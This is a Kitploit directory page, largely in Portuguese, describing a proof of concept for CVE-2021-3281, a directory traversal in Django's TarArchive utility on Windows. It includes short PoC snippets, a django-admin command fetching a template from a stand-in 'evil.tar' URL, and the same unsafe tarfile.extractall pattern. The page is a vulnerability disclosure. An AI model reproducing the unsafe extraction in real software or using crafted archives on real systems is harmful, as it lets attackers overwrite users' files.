Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3281 — Prova de conceito para CVE-2021-3281: vulnerabilidade de travessia de diretório no utilitário TarArchive do Django por meio de arquivos tar manipulados, com demonstração do módulo tarfile Python. | Kitploit
Ferramentas/GitHubGitHub/lwzsoviet/cve-2021-3281
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHublwzsoviet/cve-2021-3281

CVE-2021-3281

Prova de conceito para CVE-2021-3281: vulnerabilidade de travessia de diretório no utilitário TarArchive do Django por meio de arquivos tar manipulados, com demonstração do módulo tarfile Python.

Ver Repositório
21há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-3281

Existe uma vulnerabilidade de Directory Traversal em django.utils.archive.py, linha 171, na classe TarArchive.

A chamada de função os.path.join(to_path, name) não verificava o parâmetro "name"; se alguém usar este utilitário na plataforma Windows, haverá um risco de Directory Traversal. O POC é:

root@kitploit:~
from django.utils import archive
archive.extract('test.tar','.')
The test.tar include file named "d:game.exe",and the poc will create a file named "game.exe" in D://game.exe rather than "."
It looks like the Django core didn't use this util,but I still think it's a risk,maybe someone will use this util in webapp to archive somethings.``and there is another scene:``"djangoadmin startapp --template" command will use archive.py,see in https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC is:

django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"

POC

root@kitploit:~
from django.utils import archive
archive.extract('test.tar','.')

Existe o mesmo problema em Python/Lib/tarfile.py:

root@kitploit:~
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()

e a documentação dá um aviso, veja https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

Link

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281

https://www.djangoproject.com/weblog/2021/feb/01/security-releases/

Baixar ferramenta